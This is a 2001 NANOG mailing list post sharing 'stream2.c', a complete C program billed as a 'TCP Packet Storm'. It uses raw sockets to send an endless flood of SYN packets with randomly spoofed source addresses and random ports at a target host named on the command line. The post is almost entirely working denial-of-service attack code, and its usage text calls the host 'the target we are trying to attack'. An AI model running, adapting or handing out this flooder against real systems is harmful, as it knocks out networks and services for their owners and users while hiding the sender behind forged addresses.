Stream2

Jason Legate jlegate at latency.net
Wed Jan 31 02:42:23 UTC 2001


This is thrown together partially from the original sources of stream, and
partially from my own ramblings, it was a quick and dirty hack, so there
are parts of it that are messy.  For testing purposes on a lan, if you
want to verify packet headers, and not send as fast as it can, you can
define SLOW.

This version has the fixed tcp cksum, and a MSS window of compile-time
definable size.

--- stream2.c ---
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define	__USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

/*
 * QUIET controls whether to print out errors (can be very noisy, if this is
 * undef'd, when buffers are full)
 *
 * SLOW adds a nanosleep (rounded to nearest clock tick), for pacing stream
 *  - NOTE: This really slows it down
 *
 * TCPFLAGS sets what kind of tcp packets to generate
 *
 * _TCP_MSS sets the MSS value (1460 recommended) unless the OS includes have
 * a value already set
 */

#define QUIET
#undef SLOW
#define TCP_FLAGS TH_SYN
#ifndef _TCP_MSS
#define _TCP_MSS	1460
#endif

struct ip_hdr {
   u_char	ip_hl:4,
		ip_v:4;
   u_char	ip_tos;
   u_short	ip_len;
   u_short	ip_id;
   u_short	ip_off;
   u_char	ip_ttl;
   u_char	ip_p;
   u_short	ip_sum;
   u_long	saddr;
   u_long	daddr;
};

struct tcp_hdr {
   u_short	th_sport;
   u_short	th_dport;
   u_long	th_seq;
   u_long	th_ack;
   u_char	th_x2:4,
		th_off:4;
   u_char	th_flags;
   u_short	th_win;
   u_short	th_sum;
   u_short	th_urp;
   u_char	th_option;
   u_char	th_oplen;
   u_short	th_mss;
};

struct pseudo_hdr {
   u_long saddr;
   u_long daddr;
   u_char mbz;
   u_char ptcl;
   u_short tcpl;
};

struct packet {
   struct ip_hdr ip;
   struct tcp_hdr tcp;
};

struct packet packet;
struct pseudo_hdr pseudo;
struct sockaddr_in s_in;
u_long dstaddr;
int sock;

void usage(char *progname)
{
   fprintf(stderr, "Usage: %s <dstaddr>\n", progname);
   fprintf(stderr, "    dstaddr  - the target we are trying to attack.\n");
   exit(1);
}

inline u_short ip_cksum(u_short *ipH, u_short len)
{
   u_short answer;
   u_long sum = 0;
   int i;

   len >>= 1;
   for(i=0;i<len;i++)
      sum += (*ipH++);

   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);

   return(~sum & 0xffff);
}

inline u_short tcp_cksum(u_short *ipH, u_short IPlen, u_short *tcpH, u_short TCPlen)
{
   u_short answer;
   u_long sum = 0;
   int i;

   IPlen >>= 1;
   TCPlen >>= 1;
   for(i=0;i<IPlen;i++) {
      sum += htons(*ipH++);
   }

   for(i=0;i<TCPlen;i++) {
      sum += htons(*tcpH++);
   }

   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);

   return(~sum & 0xffff);
}

u_long lookup(char *hostname)
{
   struct hostent *hp;

   if ((hp = gethostbyname(hostname)) == NULL) {
      fprintf(stderr, "Could not resolve %s.\n", hostname);
      exit(1);
   }

   return *(u_long *)hp->h_addr;
}

void flooder(void)
{
   int i;
   time_t start, end;
#ifdef SLOW
   struct timespec ts;

   ts.tv_sec			= 0;
   ts.tv_nsec			= 1;
#endif

   memset(&packet, 0, sizeof(packet));

   packet.ip.ip_hl		= 5;
   packet.ip.ip_v		= 4;
   pseudo.ptcl = packet.ip.ip_p	= IPPROTO_TCP;
   packet.ip.ip_tos		= 0x10;
   packet.ip.ip_id 		= rand();
   packet.ip.ip_len		= 0x2C;
   packet.ip.ip_off		= 0x4000;
   packet.ip.ip_ttl		= 64;
   pseudo.daddr = packet.ip.daddr \
				= dstaddr;

   packet.tcp.th_flags		= TCP_FLAGS;
   packet.tcp.th_win		= htons(65535);
   packet.tcp.th_seq		= (random() >> 16);
   packet.tcp.th_ack		= htonl(0);
   packet.tcp.th_off		= 6; /* 6 */
   packet.tcp.th_urp		= 0;
   packet.tcp.th_sport		= htons(rand());
   packet.tcp.th_dport		= htons(rand());
   packet.tcp.th_option		= 0x02;
   packet.tcp.th_oplen		= 0x04;
   packet.tcp.th_mss		= htons(_TCP_MSS);

   pseudo.mbz			= 0;

   s_in.sin_family		= AF_INET;
   s_in.sin_addr.s_addr		= dstaddr;
   s_in.sin_port		= packet.tcp.th_dport;
   pseudo.tcpl		= htons(sizeof(packet.tcp));

   srandom((time(NULL) ^ getpid()) + getppid());
   for(i=0;;++i) {
      pseudo.saddr = packet.ip.saddr = random();

      while((pseudo.saddr & 0x0A000000) || (pseudo.saddr & 0xACA00000) || (pseudo.saddr & 0xC0A80000) || (pseudo.saddr & 0x7F000000))
         pseudo.saddr = packet.ip.saddr = random();

      packet.ip.ip_id = rand();
      packet.tcp.th_sport = rand();
      packet.tcp.th_seq = random() >> 18;
      packet.tcp.th_dport = s_in.sin_port = rand();

      packet.ip.ip_sum		= 0;
      packet.tcp.th_sum		= 0;

      packet.tcp.th_sum		= ntohs(tcp_cksum((void *)&pseudo, sizeof(pseudo), (void *)&packet.tcp, sizeof(packet.tcp)));
      packet.ip.ip_sum		= ip_cksum((void *)&packet.ip, sizeof(packet.ip));

#ifndef QUIET
      if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
         perror("stream");
#else
      sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in));
#endif
#ifdef SLOW
      nanosleep(&ts, NULL);
#endif
   }
}

int main(int argc, char *argv[])
{
   int on = 1;

   printf("stream.c v2.0 - TCP Packet Storm\n");

   if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("socket");
      exit(1);
   }

   setgid(getgid()); setuid(getuid());

   if (argc < 2)
      usage(argv[0]);

   if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
      perror("setsockopt");
      exit(1);
   }

   srand((time(NULL) ^ getpid()) + getppid());

   printf("\nResolving IPs..."); fflush(stdout);

   dstaddr	= lookup(argv[1]);

   printf("Sending..."); fflush(stdout);

   flooder();

   return 0;
}




More information about the NANOG mailing list